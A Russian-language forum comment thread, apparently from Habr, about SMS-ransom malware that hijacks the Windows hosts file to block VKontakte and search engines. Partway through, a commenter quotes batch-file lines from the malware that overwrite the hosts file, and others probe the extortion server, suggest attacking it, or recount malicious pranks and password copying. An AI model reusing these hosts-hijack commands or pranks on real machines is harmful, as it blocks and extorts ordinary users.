Заботливые вирусы

[barker]

Сегодня любимая обрадовала меня новостью, что и она наконец подхватила вирус, просящий отправить смс. До сих пор думал, что семью ITшника такая штука обойдёт стороной, ан нет — не обошла.

Семью айтишника должна была обойти привычка сидеть из-под юзера, которому доступна запись в системные файлы.

[eucariot]

Сам я использую linux, а к ноутбуку жены как-то совсем мало подхожу. Но вы, конечно, правы.

[ekzo]

у вас п*зда на аватаре, а вы всё ещё не верите?

[Gruxon]

5 баллов.
Давно так не радовался, за то как троллей троллят.

[Halt]

Да какой же это тролль. Так, гоблин мелкий. Тьфу. Вот кащениты это были тролли… а не сегодняшняя школота :)

[kashey]

даа, мы такие

[brick812]

Вы мой клон ))
>а к жене подходите? )

[eucariot]

Разумеется. Куда я без неё? :) Вы, думаю, так же?

[Lex51]

многим вирусам пофиг на ограниченную запись.

[Lex51]

то что выше было — это проявление незнания о том, что многие вирусы легко обходят механизмы защиты windows?
за 3 года работы с абонентами было проверено не один десяток раз.

[k4shik]

что за дискриминация.

[Rodman]

а как семья айтишника может работать на машине без фулаксесса?
Не хватит терпения!

[barker]

Да ладно уж :) У меня жена в XP сидит на юзерском аккаунте. С тех давних пор ни одной подобной проблемы не было. Бывают, конечно, проблемы с какой-нибудь программой, которая криво работает без админских прав, но терпимо. Но то XP, а в более новых версиях виндовса с этим ещё лучше стало, насколько я знаю.

[PDEMON]

Все изощренней и изощренней.

[kAIST]

по мне, так, это очередная тупость школьника, который писал этот «вирус».
«Вирус» не просил отослать смс, а в hosts об этом написано.
Проблема в том, что подобных «вирусов» достаточно много, и антивирусы их зачастую не палят. Благо лечится это все достаточно просто: поиск по exe файлам, созданными в ближайшие часы (дни), и чистки все записей авторана.

[PDEMON]

возможно это была public beta )) Дальше допишут номер и текст смс. Как всегда для многих прокатит.

[kAIST]

ага… «если вы заметили что вирус работает некорректно, свяжитесь с автором по email ....» :)

[PDEMON]

… свяжитесь с автором. Для этого нужно отправить смс…

[kAIST]

Ну вообще такая возможность существует «prefix ВАШ ТЕКСТ», и активно используется в «СМС-спасибо», в роли донейта для сайта, с отображением текстов на странице сайта.
Идея у меня воявилась для вирусописателей: организовать такой мини смс чатик на окне «Ваша система заблокирована», чтоб юзерам скучно не было. Реализуется легко достаточно. Было бы забавно :)

[Tuxozaur]

Напомнило:
Здравствуйте, я Белорусский вирус.
По причине ужасной бедности моего создателя и низкого уровня развития технологий в нашей стране я не способен причинить какой-либо вред Вашему компьютеру. Поэтому очень прошу Вас, пожалуйста, сами сотрите какой-нибудь важный для Вас файл, а потом разошлите меня по почте другим адресатам. Заранее благодарю за понимание и сотрудничество.
:)

[eucariot]

Прошу прощения за дезинформацию — смс отослать забыли — поправил топик.

[G0ran]

изощрённо было, когда у меня под Linux (когда я зашел скачать какую-то музыку) открылся еще один сайт по клику и там было что-то типа окна Мой компьютер и сканирование на вирусы… и понятное дело найдены какие-то трояны :)))

[alternativshik]

Так? =)

[G0ran]

дада… именно это
я сначало 2 секунды ваще не понимал под linux'ом ли я :)) а потом понял, что за фигня

мы с другом 7 лет назад сделали похожу хрень на Pascal (еще в школе было) только под консоль и пошутили над другим челом:
делали лабораторки по пакетным bat файлам в школе (а он не особо в этом разбирался) и незаметно для него вставали в его bat'ник запуск нашей проги, тоже типа имитация сканирования, проверка диска… в итоге потом пришли домой к нему, он сам запустил и процесс пошел… мы минут 10 еле еле сдерживали смех (когда он ходил по квартире и говорил ой господи прошай моя музыка, прощай мой жесткий… прощай мои игры....), и в итоге когда в конце появилась надпись: а теперь можешь выкинуть нахрен свой жесткий, мы дико засмеялись… честно скажу прикол удался, до сих пор шутим

[jazvenko]

УГУ :)))) У меня друг тоже на бат файлах напсал псевдовирус хотел над другом приколотся (но по за парке не тот взял с собой, вирус реально удалял папку windows ещё под Win98) долго мы все вместе потом смеялись востанавливая рабочие файлы его отца (отец в администрации города работал) )))

[tigso]

ключевое слово «работал» :)

[abelozor]

А мы в институте на 1 апреля нашему бухгалтеру просто в рабочей папке создали папку «Вирус». Ей хватило.
Правда, это было в начале её работы, потом она самообучилась до довольно приличного уровня.

[romychs]

Да Вы просто звери, а не IT-шники :)

[abelozor]

А мы и не были IT-шники. Мы тогда биологи были. Правда, я был и.о. системного администратора ещё.

[FError]

помню как делал на скорую руку своему знакомому в универе фейк докторвеб ;)
там работала только кнопка F5 по-моему, чтоб начать копирование схожего диплома сканирование дискеты на вирусы. И когда он заманил однокурсника с похожим на его задание, то забыл что надо нажимать. однокурсник потянулся к мышке, мол давай я ща через меню включу. Наша операция висела на волоске ;) Но в итоге диплом был скопирован, злостный вирус не обнаружен.
Эх, напомнили…

[jazvenko]

ага на Win98 копировали помню passwd файлы )))) запуском бат файлов с дискет.

[Bromweb]

От души посмеялся)
Такие странички нацелены на людей которые думаю что Windows XP единственная и последняя версия ОС. А таких ой как много…

[Alaunquirie]

Еще на тех, у кого «модная собрка виндовс ИксПи, она лучше и быстрей этой вашей семерки».

[egorinsk]

Вы не поверите, она и правда лучше, в ней нет уродливой пародии на маковский док и некрасивого, непонятно кем нарисованного интерфейса.

[Alaunquirie]

Не быть вам -1ым в топе, не быть. Я понимаю, вас это огорчает, вы только сильно не плачьте, а то зальете клавиатуру еще, и мы не сможем потешаться над вашим поведением.

[Aledensoft]

Школота делала, ведь можно же версию ОС на серваке посмотреть в заголовках запроса )

[Creeonix]

представил себе окошко «Касперского» под мак…

[K1N6]

это не касперский. это их антивирус

[logan]

А он, кстати, есть.

[Alaunquirie]

Но зачем?

[lasthero]

Чтоб тормозило!

[Alaunquirie]

Понастольгировать чтоль? :) Вспомнить времена Windows Xp без сервиспаков, и времена разрешения 1280*1024…

[Stremlenye]

Это вы хорошо жили =). Я ХР начинал использовать с разрешением 1024*768.

[Oligarh]

да вы тоже зажравшиеся =) я с 800*600

[kossmak]

Олигархи начинают с малого.

[Vertex]

XP на 800х600? О_о Простите, позвольте усомниться, это как монитор дожил с таким нативным разрешением в 2001 году?

[Oligarh]

=) не у меня, у родителей, до 2001 года я компьютер вообще не видел, учеба-служба-работа

[Vertex]

Скорее всего это родители ставили спецом разрешение больше чтобы лучше видеть… Но нативное разрешение монитора наврядли было меньше 1024х768. Так что в этом случае можно было бы сказать что и на 64-х480 на ХР еще сидели… )

[Oligarh]

боюсь дело было не в мониторе, то, на чем стояла XP даже компом то трудно назвать =) Конфиг предоставлю завтра.

[Alaunquirie]

Ну формально я начинал с ХР на р2 233 снятом с сервера, 256 рам, 20 гиг хард. И работало. И, да, 1024*768, эт потом пошли всякие модные разрешения :)

[Stremlenye]

Знакомые на работе ради интереса вкорячили ХР на р-100 (что за память была не помню- не буду врать). Говорят завелась после отключения «всего и вся». Поставили какой то бабушке в качестве печатной машинки.

[Alaunquirie]

На 233ьем работало просто искаробки, ничего не отключал. Меньше 128 памяти вроде ХР не переживет.

[Stremlenye]

про 128 точно. Насчет р-100 — как говориться «сам не видел- старшие мальчики рассказывали». Надо спросить будет, как они эту проблему решали.

[mihmig]

ерунда — на 64-х ставилась, на 32-х запускалась.

[Alaunquirie]

Я про искоробочную версию, думаю, если дистриб обкромсать — вполне можно и в 32ух запуститься.

[DrAiv]

alert level — avarage
это шикарно

[Lifz]

обожаю когда такое псевдо окно вылетает на линукс системах ))

[eucariot]

Да, я бы не сказал, что тут применили какую-то хитрость или мозги.

[xn__p2a]

Все изощренней и изощренней.

А по-моему всё примитивней и примитивней…

Или вы во время написания своей реплики поднимали табличку SARCASM?

[PDEMON]

Изощрённость это не только верх совершенства, но и способность использовать все способности и умения при выполнении, осуществлении чего-либо и прибегание к разнообразным уловкам.
Я имел ввиду чего только не придумают. Камень тоже примитивен, но и им можно нанести вред.

[easyman]

«вызов программиста» это сильно. Хотя, для простых людей, что админ, что программист — всё едино.

[GetWindowsDirectory]

на простых людей и расчитано

[Zerkella]

Врядли.

Обычный не знает о файле hosts и о том, как он работает

[xenon]

Знает если жадничает слать смски и гуглит. Или есть ловит вирусы часто. У меня брат чуть ли не раз в месяц ловит и даже знает как и куда надо тыркаться чтобы вылечиться — только ему не помогает пока мне не позвонит.

[sergei-grigorev]

да да… постоянно друзья меня знакомят с кем-нибудь со словами: «да он классный программист, всё может… если комп сломается, то сразу к нему» :-D

[v1z]

[MaksimMukharev]

Здесь еще не хватает пункта «Помог разобраться с неработающей кнопкой в одноклассниках» — «Круче не бывает!». Это новый тренд.

[vitaly80]

Не важно, что думают, главное — сколько пользы это приносит (и дохода соответственно)!

[v1z]

не дотянул до +100 -(

[Screatch]

До боли уже избита тема вирусов записывающих себя в hosts…

Ну этот хоть чуточку оригинален :)

[mihmig]

кстати расположение файла hosts в реестре меняется, но вирусы об этом не знают, хотя погодите — оп, вот уже и знают…

[Richard_Ferlow]

… если у человека ума хватило в hosts залезть, то «программист» ему не нужен…

[eucariot]

Я о том же подумал) И сначала решил даже, что раз уж он здесь отметился, то проблема должна быть не здесь. Однако здесь)

[eucariot]

Что-то много «здесь» получилось. Пардоньте)

[TimTowdy]

Думаю hosts.txt был создан для тех, кто будет звонить знакомым ITшникам просить помощи. По телефону ж скажут: «открой файл hosts», а тут любезно создан .txt файл, который откроется блокнотом и в нём будет указанное вами послание.

[eucariot]

Тонко подметили. Скорее всего так и есть. И даже если по телефону поймут и скажут, что надо другой файл посмотреть, то там рядовой пользователь едва ли разглядит очень маленькую полоску скролбара, которая говорит о продолжении снизу.

[FError]

столько инфы в инете про этот файл, что даже знакомая девушка сама нагуглила, почему у неё вконтактик не открывается и проверила hosts.
ради вконтаткика люди даже учатся гуглить ;)

[Igas]

поисковики то прикрыты в томже хостс так что пришлось бы с другого места гуглить =)

[jazvenko]

hidemyass.com если вирус сайт заблакировал

[FError]

ну в том конкретном случае не было с поисковиками проблем.
А еще та девушка как мне сказала, что уже и пробовала анонимайзеры, я вообще сел ;)

[Igas]

я понял зачем нужны школоло-хацкеры, они учат девушек гуглить =)

[jazvenko]

а еще программистам помагают к девушкам на ночь ходить «вирусы лечить» ))))))

[xn__p2a]

Жаль, что не отучают работать под админом и добровольно запускать всякую непонятную гадость.
Позорище же в семье IT-шника так вирусы хватать.

[Igas]

ну это не проблема конкретного человека, а общая проблема тех «программистов» которые винду ставили этим девушкам…

[jazvenko]

у меня знакомая была без отказна, на все вопросы ограничения в Win7 отвечала «ДА» ))) тут порой и ограничения не все помогут

[xn__p2a]

у меня знакомая была без отказна

Ну зачем вы так? Сейчас же все её телефончик будут просить.

[jazvenko]

имейте ввиду тогда вам придется представятся как Брандмауер Виндовс Седьмой ))))

[eucariot]

Менее известные у нас поисковики, вроде yahoo, работают.

[Screatch]

Признавайтесь! Как много из Вас попытались пройти по айпишнику в скрине? ;)

[ProstoTyoma]

Обмен пакетами с 90.188.60.170 по 32 байт:

Ответ от 87.103.164.250: Превышен срок жизни (TTL) при передаче пакета.
Ответ от 87.103.164.250: Превышен срок жизни (TTL) при передаче пакета.
Ответ от 87.103.164.250: Превышен срок жизни (TTL) при передаче пакета.
Ответ от 87.103.164.250: Превышен срок жизни (TTL) при передаче пакета.
…

[easyman]

91.188.60.170

[l0calh0st]

По 91.188.60.171 просят смс.

[golden13]

прикольно: 91.188.60.171/admin/ :)

[logan]

Не сразу я сообразил сорц-код посмотреть :)

[plin2s]

более того… там есть phpmyadmin

[kAIST]

после вашего комментария попытался, но avast мне не разрешил :)

[PDEMON]

Я прошел, код чист.

[Antigluk]

Фаерфокс ругается: «Имеется информация, что эта веб-страница является мошеннической!»
Нажал игнор, у меня линукс. Страничка безобидная, ничего опасного.

[Devix]

А не сказать ли ботнету этот айпишник?..

[ivlis]

Кто-нибудь хостеру то напишите в абузу.

[mihmig]

ударим хабраэффектом по вымогательским сайтам!

[DarthBender]

Самый основной вопрос, как выглядит файл hosts после перезагрузки. Как правило все записи там появляются снова, т.е. проблема часто глубже, чем просто подчистка файла hosts.

[b01d]

Непонятно только каким боком здесь Касперский.

Спонсор?

[babai]

Чтобы базы не обновились

[PDEMON]

Тогда почему именно Каспер? А dr.web, nod32, Avast и тд. уже не считаются антивирусами?

[UUSER]

Одно слово: статистика.

[mihmig]

да, касперский сейчас как ксерокс стал…

[zhovner]

Так куда смс слать я так и не понял?

[eucariot]

Прошу прощения — обновил топик. Было оно при открытии сайта vkontakte.

[zhovner]

скажите номер и код

[eucariot]

… для этого отправьте бесплатную смс с текстом 151432 на номер 8353
А вам зачем?

[PDEMON]

А стоимость смс не 100, а 250 ру

Так это же совсем другие деньги!

[0leGG]

полпрограммиста вызвать можно!

[Stom]

пол-программиста :)

[0leGG]

Капитан Орфография нежно намекает, что перед согласными (за исключением прописных букв и буквы «л») дефис не ставится =)

www.gramota.ru/class/coach/tbgramota/45_64 — пруфлинк.

[Stom]

my fail)

[mihmig]

у него в hosts
127.0.0.1 gramota.ru

[Radik_Wind]

Эти вирусы, на идиотов рассчитаны, которые ни бельмеса в компьютерах не понимают. Избавиться от них особых проблем не составляет.

[sol_linux]

Да, от идиотов достаточно просто изабвиться.

[Radik_Wind]

По-моему если вы находитесь в сообществе хабра вы просто обязаны хорошо разбираться в компьютерах! Иначе встает вопрос, что вы тут делаете!

[eucariot]

Так ведь Retarded не о себе говорил, а о других жертвах — из гражданского населения.

[navstyachka]

я — читаю интересные посты =) (ибо я скорее «иначе», чем хорошо разбираюсь))

на хабре много доступного и интересного «простым умам» =)

[nsamoylov]

Вы не сколько не правы. Сейчас я не говорю про себя, но многие заходят почитать сюда не только все околокомьютерное (софт, железо и прочее), а научно-популярное и прочее близкое но напрямую не относящееся к гиковской тематике, и вполне понятное простому смертному.

[Creeonix]

что-то мне подсказывает, что авто предыдущего комментария должен автоматически становиться идиотом по сравнению с «дядей» Ph.D. (который, к слову, может ничего и соображать в компах)

[shai_hulud]

Больше всего раздражают не обычные спамеры и «рыбаки», а те кто забывают добавить ссылку или номер смс.

[AlexFadeev]

Главное, что в этой просьбе даже намек на уважение: на Вы обращается… =)

[cyberia]

Непонятно только каким боком здесь Касперский.
Это была ирония? Я думаю всем тут понятно что касперский тут для повышения доверия. Обычные пользователи не могут отличить фейковский алерт от настоящего.

[eucariot]

Ну, в общем-то да, ирония. Другой вопрос: с проста ли?

[rusmikev]

Сижу в тп, отвечаю на почту.
Получаю письмо: «не могу пользоватся интернетом т.к. „www.vkontakte.ru“ нужно активировать анкету, как сделать это незнаю»
Думаю: че за хрень?
Откладываю письмо на «минут через 20 придумаю».
Открываю Хабр…
Спасибо. =)

[eucariot]

Да не за что. Вы бы и сами догадались быстро) Это ж дело-то житейское)

[rusmikev]

Я, к сожалению (или к счастью), не большой знаток внутренней жизни вконтакта, а для уже немалого количества пользователей вконтакте (ну или мой мир/одноклассники) является практически синонимом интернета. И заявки «не работает интернет»=«забыл пароль к любимому сайту», увы, уже не редкость. Так что наиболее вероятен был бы ответ в стиле «разбирайтесь сами со своим вконтактом», выраженный в более прилизанной форме.
И только следующее письмо (а не все пишут более развернутые варианты) с более подробным описанием проблемы помогло бы мне понять, где копать.

[eucariot]

Я тоже совсем не активный пользователь, но тут дело-то не в самом вконтакте — он лишь источник.

[OrdJONY]

у меня было на прошлой работе начальник любил поиграться в карнейдж (браузерная ммо), так вот я в хост ему прописал на 127,0,0,1. Он мне звонит потом и говорит: «Интернета нету нифига на серваке» =D Хотя вроде как человек был не очень далекий от компов

[iSerpent]

«на прошлой работе» =)

[OrdJONY]

ну я оттуда сам ушел ))

[bubuq]

Кому-либо из комментирующих приходило в голову сообщить страницу вконтакте или номер СМСа куда следует, чтобы к этим быдлохакерам пришли реально, не в компьютер, а в дверь, и задержали бы «до выяснения», чтобы охота отбилась на подольше? Или эта такая привычная реалия, типа, могут в переходе ограбить, такова жизнь и тут ничего не поделаешь?

[egorinsk]

СМС-партнерки так устроены, что не возбраняют анонимное участие в них и получение денег на анонимные кошельки платежных систем. Не нужно ни паспорта, ни юрлица, ни договра. По моему, сами сотовые операторы и аггрегаторы типа всяких А1 ничего против этого не имеют.

[jazvenko]

Это заработок СМС билингов это их хлеб… пока законом не запретят.

[bubuq]

Не все слова в этом ответе я понял, но, если сотовые и сетевые операторы не имеют ничего против преступников, может, милиция будет иметь? Чисто для смеха? И анонимность кошельков и номеров будет проверена при помощи ордера? Или это фантастика какая-то?

[egorinsk]

Я не юрист и так сразу не скажу, но ситуация такая, что сейчас с этим никто не борется.

[bubuq]

Борьба будет, если будет поток граждан с заявлениями. Заявление как минимум, обязаны принять.

[Lockal]

91.188.59.* — прямо-таки подсеть зла! 118 активных вредоносных домена за неким Juris Sahurovs.

[Staser]

Ухтыж блин, местный чувак, получается…

Вобщем, просмотрел, думаю, знакомые ИПшки, и вспомнил, вобщем это домашний провайдер ИЗЗИ (кстати, самый хреновый, что есть), у них IP динамические.

Почему часть подсети кому-то принадлежит, то это скорее по причине того, что ИЗЗИ выкупает маленьких провайдеров, а сети лишь присваивает себе, иногда не переоформляя.

Большую топологию сказать не могу, но в Латвии эти адреса вообще зарегистрированы в Резекне (далеко от Риги) тем не менее, скорее это уже ни о чем не говорит, по вышеуказанной причине.

[Nikolaich]

Вот еще запись порадовала:
mazatransa.in 91.188.59.84 Eleonore Exploit pack v1.3.2 / TrojanClicker Agent Fedchik Vasiliy Petrovich / [e-mail] 2010-04-26 details
По адресу [e-mail] можно увидеть некоего Колю Романова, 22 лет от роду. Разумеется, данные не 100%.

[infi]

Если бы он не блокировал поисковики, а только всякие дуровы/одноглазники/вк, то я и удалять бы не стал :)

[deniamnet]

> Отправьте смс и не мучайтесь… Реальная стоимость смски 100 рублей, а вызов программиста рублей 500 минимум:)
сцуко, вот это наглеж, а!

[dharbari]

не только наглеж, это еще и демпинг!!!

[deniamnet]

«куда мы катимся...» ©

[eucariot]

Нет, тут всё «честно» — 250 рублей стоит)

[jazvenko]

Антивирусы спонсоры вирусов ))) вирусы им прибыль приносят.
Последнее время ) Такое ощущение, что не антивирусы пишутся из-за, вирусов, а вируссы для антивирусов. )))
/>вот вам ссылка в руки dr.Web анлокер а если не помогает, то поиск в интернете.
Ну если СМС отправили и с Вам сняли деньги то их можно всегда вернуть заявлением в билинг. Билинг можно найти по номеру в том же яндексе.
Был случай когда я отправил смс для того чтобы скачать файл (ну очень нужен был фаил, стоимость смс написана была 5 руб.) а сняли 600 руб. Поиском в поисковике нашел номер, нашел билинг, написал жалобу в билинг, через неделю вернули на телефон все деньги.

[deniamnet]

> чтобы скачать файл (ну очень нужен был фаил, стоимость смс написана была 5 руб.) а сняли 600 руб
а что не так?
вы реально думали, что кто-то будет снимать 5 рублей?

> через неделю вернули на телефон все деньги
повезло, не у всех так

[jazvenko]

В большинстве случаев, услуги СМС-билинга предоставляют зарегистрированные в установленном Законом РФ порядке компании и их работа строго регламентирована. Но, к сожалению не всех своих клиентов они могут отследить (и вообще следить, за что они берут денги) и тут поможет только жалоба в тот билинг чей номер указан.
Конкретно в данном случае (номер 8353, билинг нашел в Яндексе) обратится http://www.a1help.ru/ это официальный СМС-Билинг (А1), и кстати как раз тот, что благополучно вернул мне деньги в течении недели.

[deniamnet]

А1А — нормальная компания, но не все ей пользуются
иногда бывает биллинг такой, что проще забыть о потерянных деньгах, чем найти истину и получить их назад

[jazvenko]

Ага!!! Бывает Го… но-билинг это точно ))) Сами же спамеры и вирьмейкеры такие и открывают для себя )))

[x26VOLAND]

А1 — это в первую очередь агрегатор. На нём ещё висит куча дочерних биллингов, контроль за которыми весьма посредственный.

[Skylan]

Не все обманывают при скачке файла.
depositfiles.com например честно пишет стоимость gold-аккаунта.
На какой-то другой файлопомойке тоже качал файл, отправлял смс, чтоб быстрее было — тоже сняли обещанное.

Хотя там не 5 рублей было, побольше.

[deniamnet]

я говорю больше о сумме
ну кто будет 5 рублей снимать? это же сразу выглядит, как бред
для компании трафик дороже будет стоить, чем вы ей заплатите
это из разряда «продам ноутбук за $100», тоже как бы рабочий будет, но…
уважаю сайты, которые сразу пишут, СКОЛЬКО ты им должен заплатить, без всяких наепок и серого текста в 5 пикселей на белом фоне

[jazvenko]

Есть сайты которые дают бесплатно 1 день для того, чтобы скачать файл без ограничений (типа ТурбоБита), при этом не просят отправлять им смс (чтобы Вы не думали что снимут денег), и для доказательства своей честности просят ввести номер и они на него скинут пароль на вход. Только при входе есть Ма-а-а-а-ленька кнопочка называется «ПРАВИЛА» так вот в правилах написано (а обычно их никто не читает), что если ты не отпишешься в течении суток то следующая подписка состовляет 180 руб 4 дня. И каждые 4 дня с тебя будут списывать 180 руб. Развод. Законный. На нашем не желании читать правила.

П.С, при этом когда каждые 4 дня смс приходит «спасибо что продлили наш сервис ваш новый пароль xxxxxx» там не у казано за что и как от этого избавится

[deniamnet]

все такие вещи построены исключительно на человеческом невнимании, глупости и жадности, желании наживы
я никогда не поверю, что за 5 рублей мне дадут скачать гигабайтные файлы на супер-скорости, потому что я знаю, сколько стоят каналы и оборудование
вот про «Ма-а-а-а-ленька кнопочкy» я и говорил, но это НЕ законно, это, пардон, наебалово чистой воды, ибо законом предусмотрено НОРМАЛЬНОЕ получение человеком (покупателем то есть) важной информации при сделке, вся же важная информация («завтра мы натянем вас на бабки») скрыта так, что еще нужно постараться, чтобы ее найти

[jazvenko]

Когда один фаил ищеш в нете несколько часов… то начинаешь и 5ти рублям верить лиж бы его скачать уже и пойти пить пиво.

[deniamnet]

это глупо
я обычно все нахожу на торрентах, пусть не сразу, но все же
а на все эти говнообменники (кроме надежных и проверенных другими людьми, типа IFolder, Rapishare, MegaUpload, DepositFiles, и т.д.) я никогда не захожу, ибо вместо файла скачаешь 8==Э

[jazvenko]

да я согласен с Вами полностью ) чтож вы зацепились за эти 5 рублей? ))) было время и порой бывают в жизни ещё файлы которые на торенте показывают НОТ ФАУНД

[Nikolaich]

Раз вернули Вам деньги, Вы должны были вернуть файл. Закачали обратно или зажали?

[Vitvitsky]

нужно было добавить в начале " — Ну пожалуйста, ...." и в конце, "… Будьте людьми, нам тоже кушать хочется."

[deniamnet]

> будьте людьми
с животными — только по-зверски

[Xeon303]

А где эту дрянь подцепили? Есть какие-нибудь сведения?

[eucariot]

Ссылку в топике выложил, но она уже нерабочая. Группу засуспендили

[velezh]

Вот увидел у нескольких человек на стенах.

Контакт пишет, что вирус
vkontakte.ru/away.php?to=http%3A%2F%2Fdepositfiles.com%2Ffiles%2Fek1kwkz5h

Депозит молча дает скачать
depositfiles.com/files/ek1kwkz5h

[velezh]

CureIt ничего не находит, а зря =(

[velezh]

А внутри обнаружился текст примерно такого содержания на 238 строк

;troy.bat0 16475
@echo off
echo 145.1.0.1 www.smsrent.ru > %windir%\system32\drivers\etc\hosts
echo 145.1.0.1 vkrugudruzei.ru >> %windir%\system32\drivers\etc\hosts
echo 145.1.0.1 www.mamba.ru >> %windir%\system32\drivers\etc\hosts
echo 145.1.0.1 liveinternet.ru >> %windir%\system32\drivers\etc\hosts
echo 145.1.0.1 www.webmoney.ru >> %windir%\system32\drivers\etc\hosts
echo 145.1.1.1 www.gogo.ru >> %windir%\system32\drivers\etc\hosts
…
echo 145.1.0.1 www.smspartner.ru >> %windir%\system32\drivers\etc\hosts

[Xmpe]

Контакт и при переходе на сам депозит ругается оО

[velezh]

Занесли домен в черный список

[eucariot]

Да в общем-то я не претендовал ни на главную, ни на такой ажиотаж. Хотел просто сделать заметку о учтивом «хакере». А вон оно как вышло)

[fidan]

Хм… а разве антивирусы не следят за hosts? За реестром же вроде давно наблюдают…
Тот же CureIT вроде сразу просекал, что hosts модифицирован… Неужели он один за этим смотрит :)

[PDEMON]

У меня к примеру в host свои записи. Виртуальные сервера запускаю для теста. И тот же CureIT мне на это жалуется. Поэтому я даже не обращаю внимания когда он мне об этом говорит и предлагает вернутся к дефу.

[fidan]

Так я не о том, что он должен быть по дефолту постоянно, я о том, почему они не замечают сам факт редактирования. Ессно CureIT не может за этим следить, а вот другие антивирусы следят (как за реестром)?

[PDEMON]

Точно не скажу, но у меня либо UAC, либо Outpost начинает орать когда неведома программа пытается внести изменения в реестр и системные папки. Но это я смотрю на предупреждения. Жена же сначала нажмет, а потом вечером скажет: Там какая то фигня выскакивала.

[litos]

У меня в висте простой пользователь не может писать в hosts по-умолчанию
Чтобы его изменить надо права админа
Пользователь с правами администратора имеет пароль и uac просит ввести пароль.
Пароль «кто попало» не знает.

Рекомендую вам сделать так-же и никакие левые «вирусы» не будут портить вам hosts и жизнь :)

[Kotofot]

у Касперского есть сервис — деблокер
support.kaspersky.ru/viruses/deblocker
мне однажды помог

[Volgarastraport]

Сегодня воспользовался:)

[IGHOR]

мне он тоже трижды помог
а еще дважды не помог :)

[charon]

если вы читали предыдущую статью на эту тему, то там указано, что в новых блокираторах просто не реализован механизм разблокировки, так что этот сервис — не панацея.

[Full]

я риал уссался просто над текстом в хостах )))))))))

[garex]

За яйца подвесить шутников и когда шутливость иссякнет, забить камнями, закопав в землю по пояс.

Вот после этого можно и посмеяться :)

[yul]

#Отправьте смс и не мучайтесь… Реальная стоимость смски 100 рублей, а вызов программиста рублей 500 минимум:)

это где ж такое пиво дорогое?

[build_your_web]

это где ж вы видели программистов, которые за пиво работают?
разве что безработых.

[TEHEK]

А чего б не повалить сервак нафиг? Или может кто покруче найдется, хакнет сервак, загрузит на него ехешник, который будет обратно восстанавливать хостс =))))

[logan]

Толку-то — это ботнет. Надо искать контроллера, а он, гад, не светится. Ну или хачить ботнет.

[stampoon]

Нет уж, спасибо. Вирусы иногда пишутся и из интересу, а не для выгоды. Да и вирусы разные бывают.

[mr_gorbunov]

Один мой знакомый альтруизма и интереса ради написал свой «вирус», который уничтожал другой вирус и выводил окошко о том, что он это сделал. Это он так компы в одной конторе лечил, а затем и в Интернет его выпустил :)

[eucariot]

Что произошло потом?

[mr_gorbunov]

Контору от вируса вылечил и получил приличную надбавку и несколько неофициальных отгулов, а судьбу попавшей в Интернет версии он не отслеживал :(

Однако сам тот факт, что можно написать вирус, который будет эксплуатировать те же уязвимости, но с благородными целями — уже достаточный для того, чтобы задуматься является ли эксплуатация уязвимостей систем однозначным преступлением :)

[eucariot]

Было как-то давно: я читал рассказ, в котором рассказывалось о том, как появился искусственный интеллект. В своё время проводились турниры между вирусами: выделялась машинка и туда пускали толпу разнообразных вирусов, которые бились друг с другом до победного. И в таких компьютерах зарождались другие формы электронной жизни, которые со временем эволюционировали до ИИ. Ну как-то так — пересказчик я неважный)

[mr_gorbunov]

Интересная художественная мысль. Надо будет найти и почитать :)

[eucariot]

К сожалению, мало критериев для поиска. Насколько я помню, кроме этой самой идеи трезвых мыслей там больше не было. Да и рассказ был на несколько страничек — небольшой.

[xn__p2a]

Один мой знакомый альтруизма и интереса ради написал свой «вирус», который уничтожал другой вирус и выводил окошко о том, что он это сделал.

В 2003 году в MS Windows открылась серьёзная уязвимость RPC, и началась обширная эпидемия червя MSBlast (он же Blaster Worm, Lovsan, Lovesan), использовавшего эту уязвимость. И тогда в разгар этой эпидемии появился друго червь Welchia, который проникал в систему через ту же уязвимость и пытался скачать и установить там патч от Microsoft, который закрывал эту уязвимость.
Но антивирусы его тоже считали вирусом и удаляли (всё же он для распространения эксплуатировал дыры в системе).

Вот такие вирусы ещё можно назвать заботливыми, но ни как не тот, котором пишет автор в топике.

[komtet]

Самое интересное, что у номера 8353 есть вполне определённый владелец.
Теперь о правде жизни, в случае не с таким горе-вирусом, а при телефонном вымогательстве «Ребёнок помирает..., подробности телефон такой то...» при звонке снимается N-средств и идёт отбой.
Показал это знакомой — журналистке КП. Последствием стало мини-расследование. Сотовый оператор сообщает, что да, номер коммерческий, но сообщить — на кого оформлен может только органам (тут он прав, с точки зрения закона, хотя, понятное дело — половина от суммы идёт на проценты оператору). Но самое интересное, милиция, тоже ручки разводит, «а зачем вы звонили?». А юрист подтверждает, что будут проблемы с доказательной базой, что один и тот же человек распространяет вирус/спам — и является владельцем телефона.
Такие телефоны, в том числе 8353, всплывают постоянно в связи с разными схемами мошенничества и вымогательства.

[root_sashok]

Очередной троян hosts-подменитель, как это было в июле с той самой нашумевшей историей про угон кучи аккаунтов.

[zxmd]

А еще там есть 91.188.60.171:2222/ :)

[EvgeniyLazarev]

Я бы за 400 вызвался. :-)

[mr_gorbunov]

Года три назад опыта и интереса ради написал простенький .com, который патчил файл hosts и перенаправлял с популярных сайтов на 127.0.0.1.

Цели мои были просты: я прихожу к приятной и красивой девушке починить комп, незаметно от неё запускаю файл и либо остаюсь таким образом на большее время, когда «мосты уже разведены и домой не добраться» (универсальная питерская отмаза :), либо еще возвращаюсь…

Позже я, конечно, раскаялся в своих намерениях и решил, что никогда не буду так поступать.
Да и так у меня и не хватило наглости воспользоваться этим файликом, зато для себя я навсегда запомнил путь к файлу hosts и вообще метод работы вирусов такого типа.

[eucariot]

Почему вы раскаились? Вы ведь преследовали не какие-то страшные цели и вреда не было от ваших действий.

[mr_gorbunov]

В романе-антиутопии Джорджа Оруела 1984 это называется «мыслепреступлением».

Одному тому факту, что я написал «вирус», способный причинить вред людям уже хватило для того, чтобы устыдить самого себя :)

Дальше уже писались шуточные программы-установщики популярных и ожидаемых игр, которые распространялись только на первое апреля, только среди знакомых, а подложная ошибка установки «Fatal Error: exeption (0x0104)» объяснялась знакомым уже через пять минут мозгового штурма как число и месяц — на большее совесть не дает идти :)

[eucariot]

Буквально недели две назад читал 1984. Вот только мыслепреступлением там было, когда твои мысли шли в разрез с «политикой партии». Отличное, кстати произведение.
Я не вижу в этом вреда. Это предлог. Тем более вы всё исправляли. Впрочем, дело-то, конечно, ваше)
Хорошая шутка на 1 апреля)

[mr_gorbunov]

Если Вам понравился «1984», то вполне вероятно, что придется по вкусу «Мы» соотечественника Замятина и «Скотный двор» того же Оруела. Еще есть гениальный Олдос Хаксли и его «О дивный новый мир!» с впадением в противоположную крайность, но схожим результатом. А также есть примечательное ru.wikipedia.org/wiki/THX_1138

